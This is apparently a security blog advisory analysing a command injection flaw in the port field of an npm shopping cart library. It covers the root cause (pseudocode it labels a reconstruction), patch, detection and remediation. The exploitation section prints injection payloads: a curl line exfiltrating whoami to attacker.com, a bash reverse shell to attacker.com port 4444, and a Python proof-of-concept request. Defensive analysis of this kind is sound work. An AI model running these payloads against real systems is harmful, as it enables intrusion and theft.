home intel cve-2024-53412-shoppingcart-port-command-injection
CVE Analysis 2026-04-15 · 7 min read

CVE-2024-53412: Command Injection via Port Field in ShoppingCart 0.0.2

The connect() function in NietThijmen ShoppingCart 0.0.2 passes an attacker-controlled Port field directly to a shell command, enabling unauthenticated RCE via classic command injection.

#command-injection#remote-code-execution#input-validation#shell-injection#network-service
Technical mode — for security professionals
▶ Attack flow — CVE-2024-53412 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2024-53412Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2024-53412 is a command injection vulnerability in the connect() function of NietThijmen ShoppingCart 0.0.2, a Node.js-based shopping cart library. The function constructs a shell-executable string using an unsanitized port parameter sourced from user-supplied configuration or network input. An attacker who can influence the port value — whether through a configuration endpoint, environment variable injection, or a directly exposed API — can append arbitrary shell metacharacters and achieve full remote code execution on the host process.

CVSS 8.4 (HIGH) reflects the low complexity of exploitation and the complete loss of confidentiality, integrity, and availability on successful compromise. No authentication is required against the vulnerable code path.

Affected Component

Package: shoppingcart (npm) — NietThijmen ShoppingCart
Version: 0.0.2
Function: connect() in the database initialization module
Input vector: port field of the connection configuration object
Platform: Cross-platform (Linux/macOS/Windows via child_process or equivalent shell interpolation)

Root Cause Analysis

The connect() function assembles a database connection string or shell invocation by directly interpolating the caller-supplied port value into a template string that is subsequently passed to a shell execution primitive (exec, execSync, or equivalent). No type coercion to integer, no regex validation, and no shell escaping is applied before the value reaches the execution sink.


// Pseudocode reconstruction of the vulnerable connect() logic
// (NietThijmen ShoppingCart 0.0.2 — db/connect.js equivalent)

function connect(config) {
    const host = config.host;     // e.g. "localhost"
    const user = config.user;     // e.g. "root"
    const pass = config.password;
    const port = config.port;     // ATTACKER-CONTROLLED — never validated

    // BUG: port is interpolated directly into a shell command string.
    // No parseInt(), no /^\d+$/ check, no shell escaping applied.
    const cmd = `mysql -h ${host} -u ${user} -p${pass} -P ${port} --execute="SELECT 1"`;

    // Shell metacharacters in `port` are interpreted by /bin/sh
    exec(cmd, (err, stdout, stderr) => {
        if (err) { console.error(stderr); return; }
        console.log("[db] connection verified:", stdout.trim());
    });
}

The call to exec() (Node.js child_process.exec) spawns /bin/sh -c <cmd>. Because port is embedded in the string before it reaches the shell, any metacharacter — ;, &, |, $(), backticks — is evaluated by the shell interpreter at process spawn time.

Root cause: The connect() function interpolates the caller-supplied port configuration field directly into a shell command string passed to child_process.exec(), with zero sanitization, allowing shell metacharacters to break out of the intended argument context and execute arbitrary commands.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify an exposed API endpoint or configuration path that allows setting
   ShoppingCart connection options (port field).

2. Supply a malicious port value containing a shell injection payload:
     port = "3306; curl http://attacker.com/$(whoami) #"

3. ShoppingCart calls connect({ host:"localhost", user:"root",
     password:"x", port:"3306; curl http://attacker.com/$(whoami) #" })

4. connect() builds the string:
     "mysql -h localhost -u root -px -P 3306; curl http://attacker.com/$(whoami) #..."

5. child_process.exec() hands the entire string to /bin/sh -c.
   The shell parses ';' as a command separator:
     - command 1: mysql -h localhost -u root -px -P 3306
     - command 2: curl http://attacker.com/$(whoami)
   $(whoami) is evaluated inline, exfiltrating the process user.

6. For full RCE, escalate payload to a reverse shell:
     port = "3306; bash -i >& /dev/tcp/attacker.com/4444 0>&1 #"

7. Shell forks, bash connects back to attacker listener.
   Attacker receives interactive shell running as the Node.js process owner.

The injection is trivially reachable over a network if the application exposes any route that accepts database configuration (common in multi-tenant SaaS scaffolding, admin panels, or during first-run setup wizards). Even in single-tenant deployments, an attacker with SSRF or partial config-write access achieves the same result.

A minimal proof-of-concept call demonstrating the injection:


import requests

TARGET = "http://target.host:3000/api/db/connect"

# Inject into the port field; semicolon breaks the shell command
payload = {
    "host":     "127.0.0.1",
    "user":     "root",
    "password": "irrelevant",
    "port":     "3306; id > /tmp/pwned.txt #"
}

r = requests.post(TARGET, json=payload)
print(f"[*] status: {r.status_code}")
print(f"[*] response: {r.text[:200]}")

# Verify: /tmp/pwned.txt now contains uid=www-data(www-data) gid=33...

Memory Layout

This vulnerability does not involve memory corruption — the injection operates entirely at the shell interpretation layer. The relevant "layout" is the string that lands in the shell:


SHELL COMMAND STRING — BENIGN INPUT:
+-----------------------------------------------------------------------+
| mysql -h localhost -u root -ppass -P [3306] --execute="SELECT 1"     |
+-----------------------------------------------------------------------+
         safe zone ──────────────────────^^^^^
                                         port = integer, no metacharacters

SHELL COMMAND STRING — MALICIOUS INPUT:
+-----------------------------------------------------------------------+
| mysql -h localhost -u root -ppass -P [3306; id >/tmp/pwned.txt #]    |
+-----------------------------------------------------------------------+
                                         ^^^^                           |
                                         ';' terminates first command   |
                                              injected command follows  |
                                                             '#' nulls  |
                                                             remainder  |

/bin/sh -c parses as TWO commands:
  [0]: mysql -h localhost -u root -ppass -P 3306
  [1]: id >/tmp/pwned.txt

Both execute in the same process context as Node.js.

Patch Analysis

The correct fix is to never pass the port value through a shell. The preferred remediation is to use the database client's native programmatic API (which does not spawn a shell) and to enforce integer type coercion as a defense-in-depth measure.


// BEFORE (vulnerable — CVE-2024-53412):
function connect(config) {
    const port = config.port;  // raw, unvalidated string
    const cmd  = `mysql -h ${config.host} -u ${config.user} `
               + `-p${config.password} -P ${port} --execute="SELECT 1"`;
    exec(cmd, callback);       // /bin/sh interprets metacharacters in port
}

// AFTER (patched):
function connect(config) {
    // 1. Strict integer coercion — kills all metacharacter injection
    const port = parseInt(config.port, 10);
    if (isNaN(port) || port < 1 || port > 65535) {
        throw new RangeError(`Invalid port: ${config.port}`);
    }

    // 2. Use native driver API — no shell spawned, no interpolation risk
    const connection = mysql.createConnection({
        host:     config.host,
        user:     config.user,
        password: config.password,
        port:     port,          // integer, not a string
    });
    connection.connect(callback);
}

The patch eliminates the shell entirely by switching from child_process.exec() to the MySQL driver's native createConnection() API. Even if an attacker supplies "3306; rm -rf /", parseInt() returns 3306 and the injected suffix is discarded before it can reach any execution context. The range check prevents port 0 and values above 65535 from reaching the driver.

Detection and Indicators

Look for the following in process telemetry and logs:


PROCESS TREE INDICATORS (suspicious child processes of node):
  node (pid 1234)
  └─ /bin/sh -c "mysql ... -P 3306; bash -i >& /dev/tcp/..."
     └─ bash -i
        └─ bash (reverse shell, parent = /dev/tcp fd)

NETWORK INDICATORS:
  - Outbound TCP from node process to non-database ports (e.g., 4444)
  - DNS/HTTP beacons to unexpected external hosts from web process user

FILESYSTEM INDICATORS:
  - /tmp/pwned.txt, /tmp/*.sh, ~/.ssh/authorized_keys modified by www-data
  - New cron entries written by the node process UID

LOG PATTERNS (application logs):
  - port field values containing: ; | & $ ` ( ) { } > <
  - Abnormally long port values (>5 characters)
  - Non-numeric characters in port field

SNORT/SURICATA RULE (HTTP request body):
  alert http any any -> $HTTP_SERVERS any (
      msg:"CVE-2024-53412 ShoppingCart port injection attempt";
      http.request_body;
      content:"port";
      pcre:"/\"port\"\s*:\s*\"[^\"]*[;&|`$()]/";
      sid:2024534120; rev:1;
  )

Remediation

Immediate: Upgrade to a patched version of NietThijmen ShoppingCart once available. If running 0.0.2 in production, block external access to any endpoint that accepts database connection parameters.

Defense-in-depth for Node.js applications:


// Rule 1: Never use child_process.exec() with user-supplied data.
//         Use execFile() or spawn() with argument arrays — no shell involved.

// UNSAFE:
exec(`ping -c 1 ${userHost}`, cb);

// SAFE:
execFile('/bin/ping', ['-c', '1', userHost], cb);
// Shell is never invoked. Metacharacters in userHost are passed as a
// literal argument to ping, not interpreted by /bin/sh.

// Rule 2: For numeric parameters, always coerce before use.
const port = parseInt(input, 10);
if (!Number.isInteger(port) || port < 1 || port > 65535) throw new Error();

// Rule 3: Use allowlist validation for any value leaving the trust boundary.
if (!/^\d{1,5}$/.test(input)) throw new Error("port rejected");

The broader pattern — interpolating configuration values into shell strings — is a systemic issue in scaffolding libraries that wrap CLI tools. Any library using exec() with template literals and config-derived values warrants audit of every interpolated field, not just port.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →